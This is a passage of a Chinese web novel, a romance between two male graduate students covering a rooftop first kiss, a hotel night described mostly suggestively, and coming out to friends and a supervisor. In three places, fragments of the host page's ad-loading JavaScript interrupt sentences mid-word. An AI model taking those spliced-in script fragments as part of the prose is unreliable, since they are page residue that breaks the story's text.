眼泪打湿了两个手掌,陈艾卅的肩胛骨都开始发疼了,可他还是止不住哭,即使在小时候,他也从未这样放肆哭过,哭得几乎要把心肝肺都呕出来了,胃里头绞着疼,手指和手指纠缠在一起,指尖血红指节泛白,他几乎要哭得厥过去。 他可以不要一直给他喜剧结尾的童宽,他可以不要一直感念他的童宽。 他可以不要……一定会原谅他的童宽。 但陈艾卅的世界里,不能没有童宽。 活着的童宽就好,如果能再自由一些、快乐一些,陈艾卅什么都愿意做。 他在回忆到最甜的时候,哭得最痛。 25. 夕烧 不知是哭得失神了还是太累了,陈艾卅还是在后座上睡着了。戴师傅把车停到服务区的时候,并没有叫醒他,而是回过头叹了口气,下车的时候留下了副驾的车窗,小心翼翼地关上了门没有吵醒他。 戴师傅回来的时候手里捧着个煎饼果子,又买了几罐子红牛,放到了副驾上。只是刚开了车门,陈艾卅就醒了,脸上绷得难受,应该是眼泪还没擦干净时候的泪痕弄的,开口的时候声音几乎全哑了。 “到服务区了吗,换我来开吧。”说着陈艾卅就要从后座上起来。 “小伙子,你再睡会吧,我也休息一会儿,”他顿了顿,“不光是心疼你,你情绪不稳,上高速我也害怕,我媳妇还等着我回去呢。” 见陈艾卅不说话,戴师傅又补了一句,“长途车我没少开,磨刀不误砍柴工,二十分钟就好,等下一段路你平静下来了,就换你开。” 陈艾卅点了点头,又说了声好。 戴师傅递了煎饼果子过来,又拿了罐红牛给他,说了句轻松点儿的,“这些可不是免费的,你都要报销的。” 陈艾卅扯了个笑,又点了点头,“谢谢。” “们都先休息会儿,啊。”说着戴师傅也双手抱在胸口,仰头闭上了眼睛。 其实刚刚也没睡多久,迷迷糊糊的,戴师傅的几句话也让陈艾卅听了劝,也闭上了眼睛再休息会。 —— 真的在一起之后,其实和之前的生活没什么两样,就是两个人之前也说的话做的事变得有些羞涩了起来,有的时候仅仅是盯着童宽看,童宽也会脸红,陈艾卅就憋着个笑,也把头转到了另一边,两个二十多的青年一下变回了十七八的小男生似的。 陈艾卅白天不再经常往外跑了,就必要的时候去参加一下组会,文献都会提前在宿舍里找好需求目录,网上没有的就提前列好清单,去图书馆里头借阅。午饭也不再一个人草草解决,童宽上午有课的时候他会在教学楼的转角处等他一起去食堂,没课的时候会遵循童宽的意见,是下楼去食堂吃,还是他把两个人的份买回来,他连让童宽来回上六楼的力气都不想他费,可以的话,他甚至想把童宽缩缩小,直接揣在衣服兜里,随时随地能看见他。 两个人在一起的节奏很慢,确认关系那天过后好几天也只是在没人的草坪上牵过手、在宿舍里拥抱过一两次。陈艾卅本来以为自己会是一个耽于欲念的人,可他见着童宽,那么干净的童宽,就什么都想慢慢来。 直到有一天,他们两个心血来潮去学校附近的网吧,陈艾卅丝毫没有遮掩地要了个情侣卡座,两人在里头玩了足足三个小时的跑跑卡丁车。陈艾卅在即将到达终点的时候,童宽会使坏给他放个蚊子泡炸弹,陈艾卅就去挠他的痒痒,闹得童宽只能缩在沙发里笑得眼睛都要看不见了。后来陈艾卅抓到了一些诀窍,趁着童宽在飞起来跨桥的时候,就故意给他放一朵云,让他找不到路,童宽就对着他喊卅哥你怎么这样啊。 “你怎么不挠我痒痒?” 童宽咽了一口唾沫,双手摆在桌子上捏住了,没有回答他。 他最受不住童宽这副模样,就往童宽那坐了坐,追问了一下,“嗯?” “……你不怕痒。” “你都没挠呢,怎么知道我不怕痒。” “……我觉得你不怕痒,”童宽又往墙那边缩了缩,“太近了,卅哥。” 陈艾卅也不管他,又往他跟前凑了凑,“近吗?” 童宽细巧的喉结又上下滚动了一下,点了点头。 陈艾卅的鼻尖都有些碰到童宽的鼻尖了,他勾了个笑,“这样呢?” 童宽清了清嗓子,但这次没有往后躲。 谁也没有多余的动作,童宽拧了拧眉毛,问了陈艾卅一个问题。 “上次欠的亲一下……卅哥你打算,呃,什么时候还?” 陈艾卅是当下就想吻下去的,可他忍住了,也吞了一口唾沫,因为离得太近,声音透出来的时候,又多了一分低沉的磁性,“这里不合适,网吧里脏,你……能再等一等吗?” 童宽的唇似乎已经准备好了,微微张了条缝,阖了半眼,胸口起伏了一下,喘了口气说:“可以的。” 陈艾卅心里噼里啪啦起了一顿火花,当下就把童宽拉了起来,电脑上都来不及关,拽着他的手腕走到网吧门口网管那,撂下了一句三号情侣卡座帮忙下机,就带着童宽走了出去。 网吧在B1,入口就在学校对面,两人一路走上来的时候,已经傍晚了,东边一片云都没有,秋天独有的清朗蓝天颜色只是暗了一些,西边不一样,太阳坠在云里,应该下午是起了风,本来团在一起的云,一端舒展开了,拖着尝尝的云尾,夕烧从薄云里透过来,也在厚厚的轮廓上鎏了一层金色。 他大方地牵着童宽的手,从人行横道线上穿过,行人匆匆,几乎没有朝他们看过来的,握在手里的童宽的手也回握了上去,只是捏着陈艾卅的掌沿。陈艾卅笑了,但没有回过头看他,只是手指在童宽的手心里刮了两下。 他们经过教育超市的时候,林琦正好出来丢了个垃圾,看到童宽她正想打招呼,还没来得及说出口,童宽就被陈艾卅拽走了,但他们看到了,林琦捂着嘴惊讶的样子,两只脚激动得直在地上来回跺着。 陈艾卅笑意又浓了一些,他就这么无所顾忌地牵着童宽,走过了两栋教学楼、走过草坪,一直把他带进了校园里的塔楼里,童宽一路都没问陈艾卅要带他去哪儿,陈艾卅知道他也不会问,这不重要。 下午最后两节课还没结束,塔楼的电梯来得很快,电梯里只有他们两个人,陈艾卅直接摁了顶楼。 密闭的空间,好像连对方的心跳都能听见。从一楼到三十楼,也没花多久。 陈艾卅牵着童宽的手始终没放开过,他熟练地拐了几个弯,到了一扇挂着锁的小门口,陈艾卅拿住了锁,轻轻往下一拉,锁就脱落了下来,童宽惊讶地看着他。 “没事,好久了,一直这样。” 打开了门,一股风灌了进来,这道门开后竟然是塔楼顶部的天台。 “之前没有护栏,出过事故,后来学校才特意装了这个门,”陈艾卅看着童宽慢慢说着,“我刚上本科那会的事了,挺久前了,现在应该没什么人知道。” 童宽看着陈艾卅,点了点头,又有些不放心,“卅哥你慢点,注意脚下。” “怕不怕?”陈艾卅已经出了这扇小门,衣服被风刮得紧绷在身上,他眯着眼睛问童宽。 童宽摇了摇头,“不怕,你在我不怕。” 风太大了,陈艾卅的声音被带走了些,有些碎,“要出来吗?” 童宽没有犹豫,顺着陈艾卅的手就走了出去。 出去的瞬间童宽的衣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 服就被风带了起来,露出了一小节腰,陈艾卅搂了上去,直到整个人贴在童宽的身上抱住了,陈艾卅的脸朝着楼顶,灰黄色的外立面,细看有一些粗糙,他在童宽的耳边轻轻问他,“看到什么了?” 童宽怔了怔,顿了足足十来秒,“夕阳。” 落在童宽眼睛里的,是整片没有遮挡的天空,上空还是青色,中间有白云过渡,越往下云里映出来的橘色更浓,云稀疏的地方,就有光透出来,可云到底是水汽做的,越接近太阳的地方,云越少,金橘色的火球躲在云的后面,缓缓西沉,阳光不再像白日里那般刺眼,而是安安静静地用贴近地面的角度,在所有的建筑上铺上了一层金色。 风把太阳的热意都带走了,可拥抱着的两人正互相取暖。 陈艾卅把童宽松开了,手抚上了他的脸,童宽黑色的瞳仁被阳光照出了浅浅的颜色,连淡淡的嘴唇上的颜色也鲜艳了一点,“这位……小王子,请问我现在可以吻你吗?” 童宽微微笑了笑,就把眼睛闭上了,抬起了些头。 “睁开眼睛,”陈艾卅的声音很轻,“我希望你记得成为你男朋友的我,第一次吻你的样子。” 童宽的眼睛又缓缓睁开了,陈艾卅笑了一下,自己闭上了眼睛,先是用鼻尖碰了碰童宽的,亲昵地蹭了两下,接着就把唇慢慢贴到了童宽的唇上,轻轻厮磨着,又吮了两下,舌尖触到童宽的唇缝时,陈艾卅像是想起了什么似的,轻笑了一声,在两个人的唇没有完全分开的时候说了声“可以闭上了”,他明显地感觉到童宽的眼睫毛刷到了自己。 两人的眼睛都闭上了,夕阳已经留在了彼此的心里,陈艾卅的吻就开始凶狠了起来,他直接撬开了童宽的齿关,舌尖先在他的上颚刮了一下,怀里的人瑟缩了一下,于是他抱得更紧了,舌尖研磨过牙床的时候把童宽的舌头顶了进去,又绞了起来,吮着薄唇往自己嘴里带,陈艾卅明显地感觉到童宽环着他的手松了。 “抱紧,”陈艾卅湿乎乎地又说了一句,“回应我。” 童宽怯生生的只在陈艾卅的舌头上左右剐蹭了两下,陈艾卅的心都酸软了,手不自禁地伸进了童宽的衣服里,在他的背后摩挲鼓励,他又吮了陈艾卅的下嘴唇,轻轻软软的,可两人嘴里的津液已经蹭了些出来,陈艾卅想要更多,他已经顾不上童宽是否能跟上他的节奏,只想把两人口腔里的空气全部抽走。 这个吻结束的时候,太阳几乎已经全部落了下去。 两个人在天台上胸膛起伏剧烈,陈艾卅抬头看到童宽的眼睛几乎有些迷蒙了,又动情地吻了上去,这个吻毫无章法,连吮带咬,在童宽的口腔里横冲直撞,两个人都忘了呼吸,直到童宽发出了一声鼻音,陈艾卅才止住了,可他怎么都停不下来了,他需要有些更刺激的东西来做个收尾,陈艾卅把下巴送到了童宽的唇边。 “咬我,”陈艾卅喘着声说,“用力咬我。” 童宽好像也失了判断,听之任之。 可他只是在陈艾卅的下巴上落上了一个绵密湿热的吻,末了还舔了两下。 陈艾卅低着头,又把童宽抱进了怀里,自嘲地笑了起来,声音里带了些哑。 “完了,地方好像选错了,光顾着浪漫了。” 童宽好像也刚回过神来,回了陈艾卅一句,“要回宿舍吗,卅哥?” “今天我们就不回去了吧。” 26. 宝藏 酒店的床不算特别大,也就大概是五尺的样子,刚打开酒店房门的陈艾卅就打量了一下,可把门关上后,他就实在顾不上什么风度、君子的了,他把童宽抵靠到了门背上,甚至拉起了童宽的两只手,直接提到了比他脑袋还高的地方,膝盖也分开了他的两条腿。 房卡都没插,房间里只有窗外透进来的亮光,他看见童宽的脸在这些暗光下的线条,他虽然瘦,可脸蛋上还有些肉,陈艾卅直接一口咬了上去,童宽吃痛嘶了一声,陈艾卅的啃弄就变成了舔舐,直到把他的半边脸在这暗暗的光线下都泛出了些水光才停了下来。 他们都知道彼此动情了,也知道即将发生的一发不可收拾,陈艾卅的眼睛在黑夜里露着精光,盯着童宽看的样子像是一头饿了很久的狼,吃干抹净是一定要的,可他现在连骨头都不想给童宽剩,他要把童宽整个人、整个人都囫囵吞入腹中,仿佛只有童宽成了他的一部分,才能真正解渴,才能真正平息这股积攒已久的欲望。 可他再次对上童宽眼睛的时候,动作就慢了下来,他把童宽从门背后拉了过来,又拥在了自己的怀里,他把脑袋埋在童宽的脖颈与肩膀的连接处,一声声地在向他诉说着自己的喜欢。 “我喜欢你,好喜欢你,最喜欢你,童宽,你听到了吗?” “听到了……听到了卅哥,我也,好喜欢你,好喜欢你。” “我、我……”陈艾卅像一个初次接触爱情的毛头小子一样,说出来的话都笨笨拙拙的,“我可以吗?” “可以,”童宽的声音像温柔流动过鹅卵石的泉水,“什么都可以。” 和童宽确认关系后,陈艾卅就在摸索了,晚上他偷偷把手机打开了夜色模式,又开了无痕浏览,把“两个男人要怎么做”输入到搜索框的时候,他觉得自己脑子抽了一下,然后毫不犹豫点了搜索,先是出来了几条文字信息,陈艾卅眯着眼睛盯着手机里的内容,感觉字他都能看懂,就是合起来好像难度有点大,点开图片和视频的时候,他有点恍然大悟了,原来是这么回事,但也皱着眉想象了一下,都不知道是屁股的前面会痛还是后面痛。 可真到了这时候,疼痛好像都成了催化剂,咽下的口水里都是那晚上手机屏幕里,字里行间燃烧着的火。 “我……上次研究了一下,”陈艾卅极力克制着自己,却忍不住先用手向他们两个紧贴的地方探去,“可能还得等一会。” 明明两个人什么都还没吃,连水都没喝一口,童宽的眼神看起来就已经有些醉了,他的手紧紧把着陈艾卅,甚至主动贴紧了他,他又开始跟陈艾卅告白,仿佛这几个字,他怎么都说不倦一样,“卅哥……我喜欢你。” “童宽……童宽,”陈艾卅的手又放回了他的腰间,一边喊着童宽的名字,一边把他往床边带,“不在这里,我们进屋。” 两个人分开了一些,但还是牵着手,两个人坐在床尾的时候,陈艾卅瞥到了酒店床头柜上的东西,心里安心了一些,童宽一直没动,就双手撑在大腿两侧,头低着,看不清表情。 陈艾卅又凑过去吻童宽,吻着吻着互相胸口里的火就窜到了脑子里,陈艾卅先掀开了童宽的衣服,童宽也揪着他的衣摆往上。 陈艾卅已经快控制不住自己了,他在失控的前一秒,描摹着童宽的耳廓说:“我要你。” 床单皱了,枕头也被扔了下去,在没有插电的房间里,他们交换着呼吸,落在床上的水渍究竟是汗,还是因为痛苦或者刺激流下的泪,没有人去深究,像是要烧起来一样的热度究竟是谁传给谁的,也没有人在意,只有他,只要他,想要更多的他,他们的呻吟和喘息交织成了济慈的诗,夜莺颂诗句里的字母围绕着在床上交叠着的人。 他们感受高热,释放情愫。 他们弄乱呼吸,收纳臻爱。 他们迷恋沉沦,倾倒欲念。 他们同步心跳,拥抱唯一。 两个人的头发都湿了,陈艾卅额角的汗滴到了童宽的眼睛下面,像是他落下的泪,陈艾卅低头将这滴水含在嘴里,又低头与童宽接吻,咸涩的口感化成了蜜,在两个人的嘴里炸开。童宽的腿都快撑不住了,陈艾卅只好用胳膊捞着。 酒店的窗是马路沿街的,不知道是哪辆车违规鸣了笛。 他们在划破夜空的那一声响下,到达了彼岸。 两个人都平躺着,汗都发透了,胸口还在剧烈地起伏着。 陈艾卅的手伸了过去,用手背上下珍惜地抚了抚童宽的脸。 “对不起,我有点太过了……”陈艾卅咽了一口唾沫。 童宽闭上了眼睛笑了一下,难得对陈艾卅坦言,“卅哥,我从来没有这么放肆过。” 陈艾卅转了身就把他抱了过来,也顾不上两个人都浮着汗的身体。 “教程里说,第一次最好是要背对着的,”陈艾卅揉了揉他的头,“可我想看着你。” 童宽也搂了过来,“我……喜欢你看着我。” 他们就这么抱在一起,什么话都没说,但两个人都在傻笑,都很累,可谁都没想直接睡过去。 “吃点什么吗?”陈艾卅问他,“我叫个外卖?饿不饿?” 一向乖巧的童宽,这会儿话里倒多了点俏皮,“我以为你不会问要不要吃饭了,饿的,很早就饿了。” “那你怎么不说?” “……没机会说。” “那刚刚吃饱了没?”陈艾卅绝不会放过任何一个让童宽脸红的机会。 “不知道你在说什么。”童宽的声音果然小了下去。 “你知道,”陈艾卅又吻了吻他的耳尖,“还要么?” “……要。” 陈艾卅咧嘴笑了个大的,笑声也一点没克制,又清了清嗓子,“知道了,等吃完饭再说。” 第二天一早,童宽有课,两个人很早就进了学校。 陈艾卅硬要陪着童宽去教学楼,还看他行动中带着一些别扭,问他要不要请假,这不问还没什么,一问童宽的脸上跟把前一天下午的夕阳随身带着了似的,他觉得以前看过的漫画里人家脑袋上冒气儿一点也不假,童宽说不用,这节课挺重要的,他也不想请假,陈艾卅觉得不对劲,好好的高材生怎么就一节课不上就不行了,就追问他为什么,一开始童宽还不肯说,仔细问了才知道,原来是陈艾卅师母的课,陈艾卅看着他就想笑,问他怎么对他师母这么好,是不是因为他的关系,童宽难得驳了句嘴,说对陈艾卅来说可能是师母,可对童宽来说是亲导师。 陈艾卅难得吃了个瘪,捂着脸说自己大意了,心灵受到了点伤害,一定要童宽亲亲才能哄好。童宽哪能受得了他这流氓一样的行径,小声对他说在学校呢,让他收敛点,他可不想再莫名其妙上论坛了。陈艾卅也不避讳,捏了捏他的脸,就说那等回宿舍来个双份的,童宽脑袋虽然别过去了,但还是点了点头。 先回到宿舍的陈艾卅,先是换了套衣服,也不想上床躺着,就开了电脑继续弄论文的事情。 辅导员的一条群发微信发了过来,提示了下大家论文上传系统的时间,等这波院盲过后,就要开始查重和校盲的工作了,再之后就是答辩了。陈艾卅看着信息叹了口气,又仰头看了看自己的床板,这张几乎陪了自己快七年的床啊……就快要和它告别了。 其实在研二之后,陈艾卅对学校的留恋已经在逐渐减少了,他觉得自己逐渐成为了这个校园的边缘人物,像一个看客一样,看乌央乌央的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 学生从教学楼里涌出来去食堂,又从食堂零零散散地回宿舍,四季变化下,对他其实都没什么影响,他甚至还想过要不就和宿舍里的其他人一样直接回家算了,反正偶尔来也就这么几件事。 但他这会儿才开始庆幸,没有提早回家、没有离开校园、没有在研二就将外联部交出去,如果这两年以来的任何积累都是为了遇见童宽,他甚至觉得自己可以再忍受几年也没有问题。 他还想到了一个人,上次不欢而散的斯昀,他其实是心里觉得抱歉的,但他总没有找到很好的理由,或者借口去和她聊一下,他像下定了决心一样,先是打开了斯昀的对话框,打了几个字,又关掉了,转而打开了童宽的对话框。 “问你个事,不着急回答,你介不介意我告诉别人我们在一起?” 陈艾卅的这一段话打得十分顺畅,连个停顿都没有,直接发送给了童宽。他没有去预判童宽会是怎样的回答,介意也好,不介意也好,只要是童宽说出来的,他一定照办。 过了五分钟,童宽也没有回复他,看来真的在忙,陈艾卅想了想又加了一句。 “我有个朋友,呃,就是我前女友,老问我和你的事,我想直接告诉她,我们在一起了。” 越看这句话越奇怪,陈艾卅又继续解释了下去。 “没有旧情,和平分手,她觉得我不走心,我也的确没太走心,她也是。” “那个,要不你就当我没问过吧,我不说了。” “在吗?” “生气了?” 陈艾卅从来没有体会过发微信越发越慌的感觉,他希望童宽在下一秒就回他,他受不了这样等待的折磨,他控制不住自己去猜测童宽现在在想什么,他不想童宽误会,更不希望童宽因为这些留言而感到难过,或者又跟他说他都行,他甚至不介意童宽反馈过来的是激烈反对的情绪。 在等待童宽回复的这段时间里,陈艾卅浑身不舒服,跟有蚂蚁在他身上爬似的,甚至有点后悔问了童宽这个问题,可现在撤回也来不及了,再说这大面积撤回,任谁看到都会问吧。 微信来了,陈艾卅赶紧解了锁看。 “刚刚在忙,卅哥。” “你不介意的话就好。” “我反正跟着你的。” “我不介意,还有点开心。” “谢谢卅哥,告诉我这些。” 到底是谁家的小傻子,掉落到了他的身边,陈艾卅深深呼了口气出来。 “我以为你生气了。” “怎么会,不会的,高兴还来不及。” 童宽那张笑嘻嘻的脸好像就从手机屏幕里浮现到了陈艾卅的眼前。 他这才放心地点开了斯昀的对话框,安安心心的敲了几句话进去。 “学姐,之前我口不择言了,向你道歉,对不住。但你说得都对,我喜欢他,也告诉他了,我和他在一起了。也许会对你产生些不便?想了想还是要和你说一声。” 发出去之后,陈艾卅轻松了很多,他做到了,直面内心,也不羞于告诉他人。 斯昀的微信很快回了过来,“坦诚了一回呢,Issac,前路不易,但祝福你们。” 陈艾卅有些惊讶,他挑了挑眉毛,又回了过去,“谢谢学姐,你是第一个祝福我们的人。” “很荣幸,也很高兴你会直接告诉我,看来我们已经成为了真正的朋友。” “也谢谢你的提醒和点拨,真的很感谢。” “你很喜欢他。” “是的,我很喜欢他。” 我很喜欢他,非常、非常喜欢。 陈艾卅在这个世界里,寻到了宝。 童宽就是陈艾卅的宝藏。 27. 独占 “戴师傅,我来开吧,我好了。”陈艾卅说道,“真的好了,你也休息会。” 戴师傅回头看了眼陈艾卅,直接回绝了他,“没事,休息这会儿也够了,我是睡饱了出来的,小伙子你很久没合眼了吧?” 陈艾卅惊讶于戴师傅的观察力,但这事关安全,他也不敢隐瞒,“是啊。” “本来呢,我是不应该打听你发生了什么事的,”戴师傅的烟嗓声调很低,“但看你哭成那样,估计是有什么大事,我也不好胡乱揣测,你别介意,我还是想说一句。” “戴师傅你说。” “如果有关生死,”戴师傅这时候停了停,陈艾卅呼吸一滞,紧张了起来,“最重要的是你得心怀希望,其次都是其次。” 陈艾卅鼻子又算了,嘴巴瘪了瘪,点了点头,“哎。我信他。” “再过一两个小时,就能到了,那会儿天也该亮了。”戴师傅说着,“小伙子,你精神头养养足,别让媳妇担心了,啊?” “好,好的,谢谢,谢谢。”陈艾卅深呼吸了一口,又对戴师傅说了句,“要是开累了就换我,别客气。” “我可不跟你客气哟,到时候算钱可不能少。” “行,不能。”陈艾卅又笑了一下。 戴师傅这个劲儿,和童宽催款时候的样子挺像的。 他记得童宽从第一个大厂跳到第二个大厂的时候,因为意向金付得晚了几天,童宽就有点闹心,但他闹心也闹得很安静,就坐在陈艾卅租的那间公司附近的小出租房的沙发里,也不说话,手里拿着手机反复地刷,陈艾卅见他脸色不太好,就硬挤到了他旁边。 “我的小王子怎么了?”陈艾卅调笑着问了一句。 童宽皱着眉转了脑袋过来,拿着手机上的银行界面给他看,“卅哥,他们意向金还没打给我。” “别着急,Offer都发你了,就这几天的事了。” “可今天周五了,再不来就下周了。”童宽小声嘟囔了一句,“首付就差一点点了。” 陈艾卅揉了揉他的脑袋,“合同也签了,定金都付了,也没到期限,房子也不会长腿跑了,再等等。” 童宽也不吱声,还是在那刷着手机,陈艾卅不是不想出这个钱,事实上童宽起了要买房念头的时候,陈艾卅就说,让他也出个一半,童宽不愿意,一开始陈艾卅还有些情绪的,以为童宽是不是就只为着自己打算,并没有把陈艾卅规划到自己很久以后的未来里,为了这个事还有些憋闷,每每提到买房都有些不是滋味。 直到有一天,童宽正好看到了一间老破小,地段挺好的,就实在太小了,建筑面积四十平都不到,但总价不高,他就约陈艾卅下了班和他一起去看房子,本来他还有点不太愿意,可童宽跟他说了句,“都说这里有了房才有机会结婚,卅哥你就陪我去看看吧。” 陈艾卅脑子一下没转过来,童宽要结婚?刚想问他什么意思的时候,他又在电话里说了一句,“买了房后,我就跟你求婚,卅哥。” 哎呦,他的老天奶呦,这小子在社会传统思想里到底学了些啥。 “不买房就不跟我求婚啦?”陈艾卅笑得嘴角都要咧到后脑勺去了。 童宽支支吾吾了一会儿,“……那不买房那你跟我求婚。” 陈艾卅逗他,“好啊,别买了。” “卅哥,那房子真挺好的呢,虽然有点小,两个人住可能也有点小,”童宽话里都带着些讨饶了,“我想留在这里,说好很久很久的。” “好好好,去看去看。”陈艾卅答应了下来。 “而且可以升值!”童宽又补了一句。 “学坏了是吧,刚刚都是挑好听的说的?” “没有……一套房子哪够向你求婚的。” 后面的话陈艾卅记不太清了,但当天晚上他们俩站在那个老破小楼下的时候,都皱了皱眉,厨房虽然是已经被归拢到屋子里了,可洗切的水槽的地儿,是和隔壁屋公用的,两家人家各占了个走廊的一半,开了门先是一个过道做的厨房,过道里还放着冰箱和一个小圆桌,说这里就是吃饭的地方了,卧室倒还挺宽敞的,床、衣柜、沙发都能放下,还有个五斗橱和电视柜。 下楼了之后,陈艾卅就知道童宽想买了,毕竟能在这个地段买到这个总价的实在是少。 当天他们并没有向中介表露什么,俩人回了出租屋里童宽也一直没说话,就时不时用眼睛看看陈艾卅,他知道,每次童宽这样的时候就是想提点要求了,他这次没等童宽开口,揉一把他的脑袋就说,“想买就买吧,首付好像还差一点,我先给你垫上?” “嘿嘿,卅哥,我要跳槽啦,”童宽呲了个牙就笑了,虎牙就挂在那儿,“会有一笔意向金。” 意向金还是在那天周五到的,他记得童宽扑到了自己的身上,整个人都挂了上来,在陈艾卅耳朵边念叨着,“卅哥,我就要有家啦。” —— 学校里和童宽走得近了,就偶尔会经历一些异样的眼神,陈艾卅知道,那是学校论坛匿名用户后的一双双眼睛,陈艾卅不是没去找过信息中心,但对方告诉他,学校论坛里发布什么内容,他们也只有审核的权利,如果没有明确点出来是谁,他们也没办法直接处理。 陌生人可以不管,但周围总是交往的人总要有个交代。 陈艾卅向导师坦言的时候,老教授眯了个眼睛带了点恨铁不成钢,说了句英语谚语直接给陈艾卅逗笑了,大概就是无风不起浪的意思,陈艾卅和导师说,他清楚童宽的情况,也知道这条路难,想自己来告诉他,也是不想让老师先被其他乱七八糟的消息先入为主了,反复强调了是自己先喜欢童宽的,也的确招惹了他,但让他和师母都放心,他俩一定不会给师门丢脸。 老教授那副吃了苍蝇的表情一直没变过,叹了口气就说随便他吧,接着就把改好了的论文发到了他微信上,让他降完重就赶紧上传系统,早点毕业早点滚蛋,陈艾卅知道这是他导在表达爱意,愣是跟兄弟似的拍了拍老教授的背,一边笑一边多谢他,老教授就啐他没大没小。 回到宿舍里陈艾卅没见着童宽,就给他打了个电话。 “在哪儿呢?” “食堂三楼,卅哥你要不要来,正好认识一下徐熠。” 陈艾卅挑了个眉,“不去了吧,你们聊。” “你还没吃饭呢吧,来吧,”童宽清了清嗓子,低声说了句,“来请我吃饭。” 陈艾卅皱了皱眉,童宽以前从来不这样说话,难道是有什么事,就说了句马上来就挂了。 一路到第三食堂的三楼,陈艾卅就看见了他俩,只不过这次童宽坐在徐熠的对面,两个人没有再并排而坐了,陈艾卅心里冒了点欣慰,接着就大方地走了过去,直接坐到了童宽的边上,先是对着徐熠抬了个下巴说了句“你好”,手就在桌子底下握了下童宽的。 童宽开了口,“我来介绍下,这是徐熠,MBA研一,我的项目需求方。”接着手又冲着陈艾卅说了句,“这是陈艾卅,卅哥,研三,我朋友。” 陈艾卅在风度上从来不落于人后,又说了一句,“你好。” “你好,久仰久仰,一直听童宽说起你。”徐熠说。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “啊是么,哈哈。”陈艾卅露了个笑,点了点头,转过头去对着童宽眉梢挑了挑,又转了话头,“我去买饭,你们想吃什么?” “你们吃,”徐熠开始收拾了起来,“我有点事,先走了,下次再聊。” 陈艾卅眼睛睁大了一下,见童宽也没留他,也就没说话,点了点头。 和徐熠告别了之后,陈艾卅明显感觉到童宽松了一口气,陈艾卅没先问他,而是小声问了一句,“想吃什么?” 童宽看着陈艾卅抿嘴笑了一下,眨了下亮亮的眼睛,开心满足溢于言表,“都行,卅哥。” “最近好像出了个新品,鸡腿肉饭,还挺好吃的,还有西蓝花当配菜,吃么?” 童宽点了点头,陈艾卅就起身去买了。 他脑子里好像捕捉到了一点什么东西,但不太确定,也说不太清楚,从食堂餐柜那拿了两份鸡腿肉饭,端着餐盘往桌子那走的时候,看到童宽一手举着筷子,一手拿了俩勺子,就这么看着他,陈艾卅觉得心里满满的。 两个人都吃了几口后,陈艾卅看了童宽一眼,“不说啦?” 童宽抬起头装傻,“说什么?” “怎么突然一定要让我来食堂请你吃饭了?”说着陈艾卅就往童宽的脸上轻轻捏了捏,举手投足之间都是亲昵。 童宽用筷子扒拉着鸡腿肉和米饭,好像不知道怎么开口,纠结了一会儿后,看向陈艾卅的脸,就开始为难了。 陈艾卅刚刚脑子里的一层雾好像突然就消失了,明白了,凑到了童宽面前,“他……是?” 童宽点了点头。 “对你有意思?”陈艾卅皱着眉问他。 “好像,”童宽挠了挠脑袋,“我也不知道,但感觉怪怪的。他没说过。” 陈艾卅了然,揉了一把童宽的脑袋,“对你有意思也很正常啊。” “哪里正常了!?”童宽吓一跳。 “你差哪儿了?”陈艾卅一一细数,“长得不好看,还是身材不够好,成绩不行,还是专业不行?” 童宽的脸突然就慢慢红了上来,压低了脑袋,也压低了声音,对着餐盘说了一句,“别说啦,卅哥。” “亏得你有男朋友啊,”陈艾卅又接着逗他,“也知道用男朋友来挡一挡,不错,挺聪明的。” “……我没有让你来挡、挡什么。”童宽狡辩道。 “上次看你俩脑袋凑一块儿我就有点不太爽。”陈艾卅坦言。 “真的?” “嗯,怎么看怎么不舒服,”陈艾卅笑了笑,“今天知道坐人家对面了,有进步。” “上次也不是我主动坐他边上的。” “小王子魅力不小呢?” “卅哥、轻一点!都是人!” 陈艾卅就是这样的,纠结的时候抽身离得八丈远,想通了任世界翻天了他都无所谓,他一胳膊直接勾过了童宽的脖子,把他往自己身前带,根本不把周围人的看过来的眼光放在眼里,在童宽耳边说了一句,“你是我的,谁都不许拿走,你自己也不行。” 童宽脸上的红蔓延到了脖子上,用气声喊道:“知、知道啦卅哥,快松手。” 陈艾卅这才松开了手,两个人就并排坐在一起,继续安静地吃饭。 “下午出去给你买点户外的东西吧,下周要出发了。” 童宽点了点头,“下周吗卅哥?好快。” “挺期待的。”陈艾卅转过头对童宽一笑,“没想到,这次多了一个人。” 童宽有些不好意思,没看身边的人,却在桌子底下捏了捏他的手指。 28. 偶遇 陈艾卅发现,即使和童宽确定了恋爱关系,也有过几次亲密接触,童宽仍旧很被动,他从来不会主动要求陈艾卅做什么,甚至是拥抱,也只会在陈艾卅抱他的时候做以回应,所以这天中午的午饭,陈艾卅吃得很尽兴,因为是童宽主动叫他来的。 回到宿舍后,陈艾卅心血来潮拉住了童宽没让他回座位上,童宽回过头的时候脸上有些疑惑,但还是对着他露了个笑。 “卅哥,怎么啦?” 陈艾卅就拽着他的胳膊来回晃了两下,“我怎么觉着跟你谈恋爱和不谈恋爱没什么区别啊?” “啊?”童宽一脸不解,有点摸不清陈艾卅的意思,但还是努力去去理解了下,“我……呃,没谈过恋爱,是有哪里做得不对吗?” 看着童宽认真的样子,陈艾卅觉得有些好笑也有些不忍心,还没回答人的问题,就把童宽慢慢拉到了身前,然后自己一屁股坐在了自己的位置上,仰着头看他,那只没有拉住童宽的抬了起来,对着他够了勾手指,示意他低头。 于是童宽就把脑袋低了下去,还特意把耳朵贴到了陈艾卅的嘴边,生怕听不着陈艾卅说话似的。 “你要不,多对我提点要求,或者偶尔说说我哪里做得不好。”陈艾卅带着笑,说得很轻,“别老让我觉得自己太好了,行不行?” 童宽明显愣了一下,眨了眨眼睛,“卅哥你……嗯,我没觉得你哪里不好啊?” “提要求?提点要求也行,嗯?”陈艾卅语气里都快撒上娇,拽着童宽的胳膊晃了两下。 没想到童宽却笑了,笑得还有点儿发颤,越笑越大,眼睛都弯了起来,“卅、卅哥……你,呃,是不是传说中的M啊?” “噢,”陈艾卅语调换了一下,“你懂的还不少呢?” “没、哈哈哈,我不懂,我上哪儿懂去。” “我教你啊?”陈艾卅逗他。 “别别,我怕疼。” 看童宽的表情好像真的往那个方向思考过去了,陈艾卅赶紧刹车,“我就是……想被你需要。” 